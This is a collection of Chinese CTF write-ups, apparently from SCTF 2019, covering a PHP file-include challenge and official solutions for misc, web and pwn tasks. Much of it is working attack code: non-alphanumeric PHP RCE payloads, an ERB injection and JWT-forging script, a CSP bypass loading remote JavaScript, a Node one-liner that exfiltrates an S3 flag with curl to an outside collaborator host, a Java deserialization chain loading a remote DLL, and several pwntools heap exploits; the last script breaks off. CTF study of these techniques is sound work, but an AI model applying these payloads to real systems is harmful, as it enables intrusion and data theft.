        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {

        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {

        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }
    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }

上面差不多就是核心代码了,具体审计就不讲了,大概说讲一下具体逻辑

put

put类可以进行写文件操作,文件名可控但是要经过path_sanitizer过滤,然后拼接写在files目录下,path_sanitizer函数会过滤. (重要) 所以写php,分布式配置等含.的文件都别想了,只能写普通文件,然后写的内容也可控,但是要过这个正则

preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code)

差不多就是put类的大概意思

get

get类可以进行文件读取,并且在最后面有个include操作,所以猜侧具体思路是写普通文件,然后用include包含执行,刚好满足题目意思,
首先传入的文件名也可控,但是也要经过path_sanitizer函数过滤,并且也会在前面自动拼接./files/,所以肯定是先写到files文件夹,然后包含之。然而最麻烦的过滤在上面核心代码的66-72行,如下

<?php
function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}

path_sanitizer函数根据第二个参数有两种过滤模式,第二个参数为假或者默认,就主要是过滤.,并且是匹配到直接报错(简称过滤A) ,但如果第二个参数为真则在过滤A的基础上还会把正反斜杠替换为空(过滤B)。
而上面几行代码的逻辑是传入的文件名字符串,经过两种过滤方式输出的文件名和文件内容都必须不一样,否者就直接返回了,这段代码通过后就会include $this->filename,所以我们只要绕过这个if判断就可以包含了

绕过过滤(失败尝试1

一开始我想用反斜杠来绕过,因为linux下可以用反斜杠做文件名
图片.png
先put一个含的文件名比如evoA233,当我们get传入文件名 为evoA233,
过滤A会返回evoA233,过滤B会evoA233,两者文件名不一样,文件内容也不一样(其中一个文件不存在内容为空)。就可以成功包含了。
但是我打的时候一直不成功,无奈本地搭建了一下,然后发现本地是可以打通的
由于最终包含的是过滤A返回的,也就是最终包含的是evoA233
图片.png
图片.png
Nope是文件内容被替换的结果,include直接打印了出来
但是远程服务器一直不成功,陷入困境

突然发现不得了的事情

思考了一下,还记得之前的dirsearch的扫描吗,扫出来有个INDEX.PHP和index.PHP,并且内容都是一样的
图片.png
正常来说,linux文件系统是分大小写的,访问这两个文件肯定是404的,但是!Windows系统是不分文件名大小写的,所以大胆猜测,这是一个windows环境
而对于windows,文件名是不能含有的,会自动被替换成/被当作路径,也就是我们不能通过上面的反斜杠文件名来绕过
这时旁边贾师傅说,“如果能创目录就好了,创个xxx目录,然后往目录写个aaa文件,内容是payload,访问xxx/aaa就可以成功包含了”,

Windows特性 & 解决方法

但是可惜的是,file_put_contents不能创目录
但是!windows有磁盘流方法创目录啊
图片.png
https://www.cnblogs.com/hookjoy/p/6579646.html
如果环境是windows,当我们file_put_contents的文件名是syc233::$INDEX_ALLOCATION的时候,当前文件夹下就会生成一个syc233的文件夹,然后用put类往这个文件下写一个evoa文件,就可以绕过成功包含了。

图片.png
图片.png
图片.png远程服务器上终于成功了,接下来就是撰写文件内容payload了

无字母数字rce payload

写文件操作,文件内容要通过下面的正则

<?php
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
?>

对于无字母数字payload已经考了很多次,可以发现^这个万金油没有被过滤,于是可以用^来绕过,
由于php7和php5的无字母数字rce payload不一致,但是此时我不能判断服务器的php版本,而且很奇怪的是phpinfo写在了源码却没有输出,这时候我本来是想去咨询出题人的,但是我发现
源码第12行
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
官网的资料显示

图片.png
只有php7以后才可以用PHP_INT_MIN这个变量,所以大胆猜测环境是php7

然后就可以通过 ^ 符号构造字符串"phpinfo"然后()执行即可,但是我们可用的只有<>!@#$%^&*_?+.-\'"=()[];这些符号。我写了一个脚本来获取这些字符相互异或能得到的其他字符

dicc = "<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

图片.png
这些符号相互异或得到的字符有限,如上报错,字典里没有o,所以我们要多创造一些字符
然而,$ _ !这三个符号没有被过滤,我们可以用这三个符号创造数字<br />$ == null
!$_ == true<br />!$
+ !$_==2<br />然而,字符和纯数字异或得不到字符串,我们必须把数字 变成 数字字符串<br />[https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)<br />trim函数可以把数字变成字符串<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189017751-9641db20-f79b-461d-9684-564a1c119d62.png#align=left&display=inline&height=51&name=%E5%9B%BE%E7%89%87.png&originHeight=102&originWidth=1186&size=65806&status=done&width=593)<br />很巧的是,trim这4个字母,上面的字符恰好可以生成<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189102294-894f040a-d390-4b0a-b654-e0895bce53b9.png#align=left&display=inline&height=38&name=%E5%9B%BE%E7%89%87.png&originHeight=76&originWidth=1274&size=28159&status=done&width=637)<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189116411-6a76d0cc-020b-489e-be05-c4feb452c9c4.png#align=left&display=inline&height=52&name=%E5%9B%BE%E7%89%87.png&originHeight=104&originWidth=1708&size=73225&status=done&width=854)使用$__=("\"^"(").("\"^".").(")"^"@").("-"^"@");$__($_);就可以生成字符1234567890了。
图片.png
再把1234567890加入脚本的字典里

dicc = "0123456789<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

我们可以生成o字符了,然后payload就用php短标签,最终生成phpinfo() exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_)).("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_+!$_)).("\\"^$__(!$_+!$_)).(";"^"]").("\\"^$__(!$_+!$_+!$_)))();?>

但是并没有解析成功打印。于是我大胆的猜测!
服务端把phpinfo加入disable_functions里了
其实说得过去,要不然为什么首页不打印phpinfo
那既然开启了disable_function,rce函数也不想了,肯定也被ban了,而且php7.1以上assert也变成语法结构了,该怎么轻松rce拿flag,
虽然我们字典扩充了0123456789,但是baodian里还是无法生成.字符_字符$字符,主要生成的是英文字母,所以最终我选择了readfile(next(getallheaders()))动态调用
最终构造好的exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("\\"^".").(";"^"^").("\\"^"=").(";"^"_").(";"^"]").("\\"^$__(!@$_+!@$_+!@$_+!@$_+!@$_)).("\\"^$__(!@$_-!@$_)).(";"^"^"))((("\\"^$__(!@$_+!@$_)).(";"^"^").("\\"^"$").("\\"^"("))((((";"^"\\").(";"^"^").("\\"^"(").("\\"^"=").("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_+!@$_+!@$_+!@$_)).(";"^"^").("\\"^"=").(";"^"_").(";"^"^").("\\"^".").("]"^"."))())))?>

由于windows的问题,next(getallheaders())取的是Connection 头
图片.png
图片.png
图片.png

终于拿到flag了,还是一血,有点开心,可能这就是CTF的魅力吧

后话

感谢赛宁和r3kapig团队,很完美的一场比赛,质量很高的一场比赛,学到了很多,也认清了自己的菜(QAQ)

- 阅读全文 -
CTF

Misc

签到

出题人: XXX
解题人数: 260
最终分数:71
data:image/jpeg;base64,/9j/4QBkRXhpZgAATU0AKgAAAAgABYdp...

给了个图片的base64编码,某些浏览器可能渲染会截断,本来想放hint提示浏览器问题,但是直接被秒了就没放hint了,这里可能有点小坑,后端上题目的时候并没有挤在一行,结果到了题目界面却挤到一行了...这里直接快速三击三下url即可选中,复制到地址栏扫码关注公众号,然后输入cat /flag即可
图片.png

头号玩家

出题人:xxx
解题人数:75
最终分数:212

一直往前

Maaaaaaze

出题人: Kkdlong
解题人数: 27
最终分数: 434

关于树的直径(最长路径)的证明可以看:https://www.cnblogs.com/wuyiqi/archive/2012/04/08/2437424.html

#处理html部分
from bs4 import BeautifulSoup
from collections import deque
import re

with open("Maze.html", "r") as file:
    html_doc = file.read()
soup = BeautifulSoup(html_doc, 'html.parser')
lattice = soup.find_all('td')
pattern = re.compile(r'border-([a-z]+):')
maze = []
for j in range(100):
    temp1 = []
    for i in range(j * 100, j * 100 + 100):
        temp = ""
        result = pattern.findall(str(lattice[i]))
        print(result)
        if 'top' not in result:
            temp += "u"
        if 'bottom' not in result:
            temp += "d"
        if 'right' not in result:
            temp += "r"
        if 'left' not in result:
            temp += "l"
        temp1.append(temp)
    maze.append(temp1)
#bfs部分,参考Nu1l师傅的脚本,更加简洁
move = {'u': (-1, 0), 'd': (1, 0), 'l': (0, -1), 'r': (0, 1)}
queue = deque()
queue.append(((0, 0), 0))
visited = []
ans = 0
ansv = ()
while queue:
    v, res = queue.popleft()
    if res > ans:
        ans = res
        ansv = v
    if v not in visited:
        visited.append(v)
        for adj in maze[v[0]][v[1]]:
            queue.append(((v[0] + move[adj][0], v[1] + move[adj][1]), res + 1))
print(ansv, ans)

从(0,0)开始寻得一端点为(80,92),(0,0)替换为(80,92)找到另一端点为(70,21),迷宫最长路径即为4056
flag:sctf{9529fbba677729d3206b3b9073d1e9ca}

打开电动车

出题人: D0glrq & GX1000
解题人数: 19
最终分数: 526

首先用Universal radio hacker打开该文件,电动车的固定码基本都为ask调制。查看PT226X与PT224X可知:在226x
中不可能出现10这种情况,故只可能是PT224X,再查协议手册,可知地址位长度为20bit,后4位为数据位,填入即可。

图片.png
图片.png

Web

flag shop

出题人:evoA
解题人数:10
最终分数:689

扫robots.txt发现源码泄露,访问/filebak得到源码,/work路由有个功能模糊的正则匹配功能,猜测做题会用到

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

然后这里存在一个erb模版注入

ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

参考https://www.anquanke.com/post/id/86867

但是只能输入7个字符,除去<%==>只有两个字符可以利用,这时可以利用ruby全局变量$&,可以获得上一次正则匹配的结果,结合上面那个模糊的公就可以爆破JWT secret伪造jkl购买flag即可

exp:

#python 3
import requests

import jwt
import base64
# pip install PyJWT

dic = "0123456789abcdefghijklmnopqrstuvwxyz"
secret = ""
host = "http://47.110.15.101"
authUrl = host+"/api/auth"
workUrl = host+"/work"
shopUrl = host+"/shop"

req = requests.session()
# 获取身份
req.get(authUrl)

die = False
for i in range(50):

    if die:
        break
    for j in dic:
        url = workUrl + "?SECRET=" + secret + j + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"

        res = req.get(url)
        #print(res.text)
        if secret + j in res.text:
            secret += j
            print(secret)
            break
        else:
            if j == "z":
                die = True
                break
            continue

die = False
for i in range(50):
    if die:
        break
    for j in dic:
        url = workUrl + "?SECRET=" + j + secret + "&" + "name=<%25=$%26%25>" + "&" + "do=<%25=$%26%25> is working"
        res = req.get(url)
        if j + secret in res.text:
            secret = j+secret
            print(secret)
            break
        else:
            if j == "z":
                die = True
                print("get! this is SECRET: "+secret)
                break
            continue

mycookie = req.cookies.get("auth")
print(mycookie)
mysecret = jwt.decode(mycookie,secret, algorithm='HS256')

mysecret['jkl'] = 10000000000000000000000000000

mycookie = jwt.encode(mysecret,secret,algorithm='HS256')
mycookie = str(mycookie, encoding='ascii')

req.cookies.clear()

req.cookies.set("auth",mycookie)

res = req.post(shopUrl)
# req.cookies.pop(0)
flag = req.cookies.values()[1].split(".")[1].encode(encoding='utf-8')
flag += (len(flag) % 4) * b"="
flag = base64.b64decode(flag)
print(flag)
#print(req.cookies.values())
# flag = jwt.decode(flag,secret, algorithm='HS256')
#
# print(flag)

math-is-fun1

出题人:u2400
解题人数:15
最终分数:588

第一题本属于简单题, 但是无奈大部分师傅都想得太过麻烦. 使用我本来为第二题预留的思路做出了第一道题, 造成了两道题同解的情况.
首先打开题目, 提示中明确指出了存在 CSPDOMpurify , 发现开头为 hello challenge , 发现get有一个参数为 name=challenge 测试会发现这里没有任何过滤但是碍于 CSP 所以无法执行js.
翻阅 mathjax 的文档在 configuration.html 关注到有这样一种配置文件的写法

<script type="text/x-mathjax-config">
  MathJax.Hub.Config({
    extensions: ["tex2jax.js"],
    jax: ["input/TeX", "output/HTML-CSS"],
    tex2jax: {
      inlineMath: [ ['$','$'], ["\\(","\\)"] ],
      displayMath: [ ['$$','$$'], ["\\[","\\]"] ],
      processEscapes: true
    },
    "HTML-CSS": { fonts: ["TeX"] }
  });
</script>
<script type="text/javascript" src="path-to-MathJax/MathJax.js">
</script>

很容易看出, 这段js有一个奇怪的地方在 MathJax.js 被加载之前, 是不会有 MathJax 这个对象的, 更不会有 Hub 属性, 这个js执行必然是失败的, 但是却没有报错, 简单调试就会发现, MathJax 直接 eval 了这个配置文件, 所以调用里面的js的时机是在加载 MathJax.js 时.
所以只需要构造一个 type="text/x-mathjax-config"script 标签就可以绕过CSP执行任意的js代码.
payload:

name=</script><script type%3d"text/x-mathjax-config">YOU_PAYLOAD

math-is-fun2

出题人:u2400
解题人数:14
最终分数:606

这道题的思路是发现mathjax的功能大多都是动态加载的, 需要什么功能就再去加载什么功能, 但是每一次加载后续的静态文件的地址总是加载mathjax.js的域名下的某个目录.
调试发现mathjax会用正则匹配的方式获取第一次加载自己的地址, 放入root属性中, 后续的js也会从这个地址加载, 所以只要可以修改这个root属性便可以引入任意ip的静态文件. 由于 CSP 中有放置 'strict-dynamic' 标志. 所以可以直接使用自己的VPS引入外部的js, 将payload放在自己VPS根目录下的config文件夹中, 命名为 TeX-MML-AM_CHTML.js
payload:

name=%0aMathJax[%27root%27]%3d"http://xxx.xxx.xxx.xxx"

easy-web

出题人:xxx
解题人数:18
最终分数:540

考点:

  1. Vue 调试
  2. AWS Lambda + S3

第一步:

页面为一个登陆页面,尝试登陆无果。

查看页面源码,Vue 的页面,分析源码。

2个路由信息:

Untitled-4552f2cf-9bdb-45e9-8116-7f17cffc1188.png

Untitled-c2fc8a77-29b9-4257-9210-84376d082d82.png

可以看到存在 /main 路由,同时需要登陆验证,验证方式是读取 store.state 的 login 值。

可以有多种方式绕过,随意修改一处进行绕过:

Untitled-104e2b2e-f287-4fe4-9424-0c0bc404067c.png

Untitled-27aaeea7-f08b-44ca-bc92-2989496d4a62.png

第二步:

打包功能存在 命令注入,注入点为我们可控的库名。(扩展:如果可以,应该可以使用自己的 npm 包,在 package.jsonscript 字段 postinstall 注入语句,一血师傅使用的此种方法。题目来源的实际环境是不存在直接命令注入,但存在此种攻击方式。)

读取环境变量值:

在环境变量中发现是 AWS Lambda,从中读取主文件地址 LAMBDA_TASK_ROOT:/var/task,入口文件index.handlerindex.js,所以入口文件地址为 /var/task/index.js

读取文件:

可以看到在上传 AWS S3 服务的配置,省去了 accessKeyId,secretAccessKey,判断 lambda 执行角色至少具有 S3 上传服务权限。

两种方法:

第一种是读取到环境变量配置,将下面三个变量配置到本地环境变量中:

Untitled-74030f7c-2142-4713-9265-c98f0af4a62c.png

然后直接使用 awscli 来本地执行 aws s3 ls 等操作读取 flag。

第二种是使用 Lambda 本身的环境来执行相应的代码来读取 flag ( Lambda 环境本身没有 awscli

node -e "var AWS = require('aws-sdk');var s3 = new AWS.S3();var params = {Bucket: 'sctf',Key:'flaaaaaaaaag/flaaaag.txt'};s3.getObject(params, function(err, data) {require('child_process').execSync('curl https://m5s3e9c35n2r5idoco10l5urnit9hy.burpcollaborator.net/sctf?'+escape(data.Body.toString()))});"

babyEoP

出题人:Jaylin
解题人数:0
最终分数:1000

题目给了一个webshell,弱密码直接进去。

Tomcat启用了_Java Security Manager_,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。

如果顺利,应该可以收集到以下信息:

  1. cookie处存在反序列化的点,有反序列化漏洞。
  2. 查看lib目录,存在 commons-collections 3.1 gadget。
  3. 找到 catalina.policy 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 C:/babyEoP/apache-tomcat-8.5.42 的读权限,所以无法列目录,但是 conf 目录是可读的。(有将近10位选手读到了这个文件hhhh。)


我在官方提供的 catalina.policy 的基础上,做了一些修改。给了 LoadLibrarycreateClassLoader_、 _accessDeclaredMembers 几个重要权限。

分析 policy ,应该很容易可以想到,要通过 JNI 绕过 _Java Security Manager_。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。

并且,webshell 的 Eval Java Code 使用时,需要向当前目录写一个 tmp.jsp 文件,所以也是不能用的(不要想着用这个执行代码)。

那么该如何才能执行代码来加载一个不在本地的dll呢?

下面是具体的解题思路:

题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。

ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。

但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。

构造见 https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java

下面要加载 dll,用 JNI 绕 JSM。

同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。

这里利用 System.load 的一个特性——可以使用 UNC 路径,加载远程的 dll。

为什么可以使用 UNC 呢?来看下 System.load 的调用过程。

  1. System.load

图片.png

  调用了 Runtime.getRuntime().load0
  1. Runtime.getRuntime().load0

图片.png

  在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。
  1. File.isAbsolute

图片.png

再看看 File 是如何判断是否是绝对路径的。

根据描述,linux下要求以 / 开头。windows下,要求以盘符或者 \\\\ 开头。

emm 综上,所以这里可以使用 UNC 路径。

下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。

这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。

EXP

R.java

public class R {
    static {
        System.load("\\\\xxx.xxx.xxx.xxx\\JNI.dll");
    }

    public static native void exec(String cmd);

    public R(String cmd) {
        exec(cmd);
    }
}

执行命令

javac R.java
jar cvf R.jar R.class

将打包的 R.jar 放到服务器上的 web 服务下。

DLL

R.h
#ifdef __cplusplus
extern "C" {
#endif
    JNIEXPORT void JNICALL Java_R_exec
    (JNIEnv *, jclass, jstring);

#ifdef __cplusplus
}
#endif
#endif

R.cpp
#include "R.h"
#include<stdlib.h>

JNIEXPORT void JNICALL Java_R_exec
(JNIEnv *env, jclass clazz, jstring str) {
    char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);
    system(cmd);
    env->ReleaseStringUTFChars(str,cmd);
}

编译成 dll,放到服务器的 webdav 服务下。

https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java 构造序列化 payload,贴到 cookie 里打一发,完事儿~

Pwn

easywasm

出题人:0xd5f
解题人数:0
最终分数:1000

程序存在一个结构体用于保存信息记录

struct
{
      char *username;
      int password;
      char *introduction;
      void (*state)(const char *);
} record;

先说三个函数逻辑

registered()用于初始化record结构体

profile()用于打印usernameintroduction

login()用于验证usernamepassword并通过state函数指针返回登录成功或失败的状态信息

因为程序存在Z_envZ__emscripten_run_scriptZ_vi,只需要改变state即可,但是如果成功调用,还需要泄露出password

其中profile()存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道

不过带师傅们好像更热衷于ddos,Orz

exp

import requests

url = 'http://47.104.89.129:23333/'

registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'

username = 'username'
password = 'password'
introduction = 'introduction'


payload = ''
payload += 'A'*7
payload += '''
const exec=require("child_process").exec;
exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);});
'''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'

params = {
    username: '%2$0141d%1$n',
    introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')

params = {
    username: '%2$0141d%1$n',
    password: passwd
}
requests.get(login, params=params)

one_heap

出题人:zoniony
解题人数:11
最终分数:666
  1. tcache perthread corruption
  2. attack stdout leak libc base
  3. hijack free hook
  4. getshell

Brute-force attack:1/256 just a few minutes XD

from pwn import *

context.log_level = "debug"

bin = ELF("one_heap")
#libc = bin.libc
libc = ELF("libc-2.27.so")

def Debug(cmd=""):
    gdb.attach(p)
    #pause()

def add(size,content):
    p.sendlineafter("choice:", "1")
    p.sendlineafter("size:", str(size))
    p.sendlineafter("content:", content)

def delete():
    p.sendlineafter("choice:", "2")

def pwn(p):
    add(0x40,"")
    delete()
    delete()
    add(0x40,"\x10\x70")
    add(0x40,"")
    add(0x40,p64(0)*4+p64(0x0000000007000000))
    delete()
    add(0x40,"")
    add(0x18,p16(0x2760))
    #Debug()
    payload  = ""
    payload += p64(0xfbad3c80) #_flags= ((stdout->flags & ~ _IO_NO_WRITES)|_IO_CURRENTLY_PUTTING)|_IO_IS_APPENDING
    payload += p64(0)          #_IO_read_ptr
    payload += p64(0)          #_IO_read_end
    payload += p64(0)          #_IO_read_base
    payload += "\x08"          # overwrite last byte of _IO_write_base to point to libc address
    add(0x38,payload)
    libc.address = u64(p.recv(6)+'\x00\x00')-0x3ed8b0
    success("libc.address-->"+hex(libc.address))
    add(0x18,p64(0)+p64(libc.sym["__free_hook"]-8))
    add(0x7f,"/bin/sh\x00"+p64(libc.sym["system"]))
    delete()
    p.interactive()

while True:
    try:
        p = bin.process(env={"LD_PRELOAD":libc.path})
        pwn(p)
    except Exception as e:
        p.close()

two_heap

出题人:0xd5f & zoniony
解题人数:7
最终分数:769

先给师傅们说声对不起,由于上线前临时改动了一下,文件的ld路径是我测试环境的,忘记修改了导致师傅们运行不起来

这道题的本意是想考察libc2.26中malloc存在的负数溢出的漏洞,

# glibc2.26/malloc/malloc.c 1226
#define request2size(req)                                         \
  (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE)  ?             \
   MINSIZE :                                                      \
   ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

当req在区间[-0x10,0]时存在溢出,可以申请到0x20的chunk,因此可以申请到0x20size的chunk有-0x10,0,0x10

⬇️以下内容可以不看

这里啰嗦几句,本来的size是0x10对齐,为了防止负数导致堆溢出所以不能向chunk中写数据,但是又必须要完成两次写(一次hook,一次onegadget),所以想了两个办法解决:第一种就是把0x10对齐改成0x8对齐,这样0x10和0x18都可以写数据,第二种是把read的size写死成固定值.emmm可能题出到晚上2点多脑子抽了选了第一种方案,遗漏了0x8,没能让师傅们体验到高质量的题目十分抱歉

预期解exp如下

#!/usr/bin/env python2

from pwn import *
context(log_level='debug', arch='amd64', os='linux', aslr=True, terminal=['tmux', 'splitw', '-h'])

exe  = './two_heap'
lib  = '/opt/glibc/libc226/lib/libc-2.26.so'
ip   = '47.104.89.129'
port = 10002
elf  = ld(exe, lib)
libc = ELF(lib) if lib else elf.libc

def dbg(script=''):
    attach(io, gdbscript=script)

# ------------------------------------------------

def choice(idx):
    io.recvuntil('Your choice:')
    io.sendline(str(idx))

def new(size, note):
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(size))
    if size > 0:
        io.recvuntil('Input the note:')
        io.send(note)

def delete(idx):
    choice(2)
    io.recvuntil('Input the index:')
    io.sendline(str(idx))

# ------------------------------------------------

LOCAL = 0
name = '%a'*3
base_offset = 0x1af720
hook_offset = 0x1aec10
one_gadget = [0x45e0a, 0x45e5e, 0xe361b]

def exp():
    io.recvuntil(':')
    io.sendline(name)
    io.recvuntil('0x0p+00x0p+00x0.0')
    libc.address = int(io.recv(11)+'0', 16) - base_offset
    log.info(hex(libc.address))

    new(0, '')
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    delete(0)
    new(0x10, p64(libc.address+hook_offset)+'\n')
    new(-8, '')
    new(0x18,p64(libc.address+one_gadget[2])+'\n')
    choice(1)
    io.recvuntil('Input the size:')
    io.sendline(str(0x20))
    io.sendline('cat flag')
    io.recv()

    io.interactive()

# ------------------------------------------------
if __name__ == '__main__':

    if LOCAL:
        io = elf.process(env={"LD_PRELOAD":libc.path})
    else:
        io = remote(ip, port)

    exp()

easy_heap

出题人:xxx
解题人数:12
最终分数:645

备注:引用kn0ck的wp

这个pwn题漏洞很明显,在0xe2d处,看⻅该读函数存在⼀字节溢出,该字节为0。

unsigned __int64 __fastcall some_read_nterm_0end(char *dst, unsigned __int64 len)
{
 char buf; // [rsp+13h] [rbp-Dh]
 int i; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v5; // [rsp+18h] [rbp-8h]
 v5 = __readfsqword(0x28u);
 for ( i = 0; i < len; ++i )
 {
     if ( read(0, &buf, 1uLL) <= 0 )
     {
         perror("Read failed!\n");
         exit(-1);
     }
     if ( buf == 10 )
         break;
         dst[i] = buf;
     }
     if ( i == len )
         dst[i] = 0;
     return __readfsqword(0x28u) ^ v5;
}

结合程序本身,只有程序基地址的泄露,以及mmap分配的可读/写/执⾏段的地址,没有libc或者堆栈地
址。由此⼤致可猜测这个是需要最终执⾏shellcode的。
⾸先可以使⽤⼀字节溢出进⾏unlink攻击,由此获取任意写的能⼒,将shellcode写⼊mmap段,然后就需
要考虑如何劫持控制流。
由于给的libc是2.23版本,该版本是没有对IO_File结构体的vtable进⾏检查的,所以这个可以通过篡改
unsorted bin的bk指针⾄ IO_list_all-0x10处,导致_IO_list_all被篡改,最终进⾏⼀个经典的⽂件结构体伪
造,vtable即指向我们可控的程序段,⾥⾯则写上mmap段地址,当出现堆错误打印信息时,即可触发。

from PwnContext import *
if __name__ == '__main__':
    context.terminal = ['tmux', 'split', '-h']
    context.log_level = 'debug'
 #-----function for quick script-----#
    s         = lambda data :ctx.send(str(data)) #in case that data is a int
    sa         = lambda delim,data :ctx.sendafter(str(delim), str(data))
    st         = lambda delim,data :ctx.sendthen(str(delim), str(data))
    sl         = lambda data :ctx.sendline(str(data))
    sla     = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
    r         = lambda numb=4096 :ctx.recv(numb)
    ru         = lambda delims, drop=True :ctx.recvuntil(delims, drop)
    irt     = lambda :ctx.interactive()

    rs         = lambda *args, **kwargs :ctx.start(*args, **kwargs)
    leak     = lambda address, count=0 :ctx.leak(address, count)

    uu32     = lambda data :u32(data.ljust(4, '\0'))
    uu64     = lambda data :u64(data.ljust(8, '\0'))

    ctx.binary = './easy_heap'
    ctx.remote = ('132.232.100.67', 10004)

    ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_amd64'
    #ctx.remote_libc = './libc.so.6'
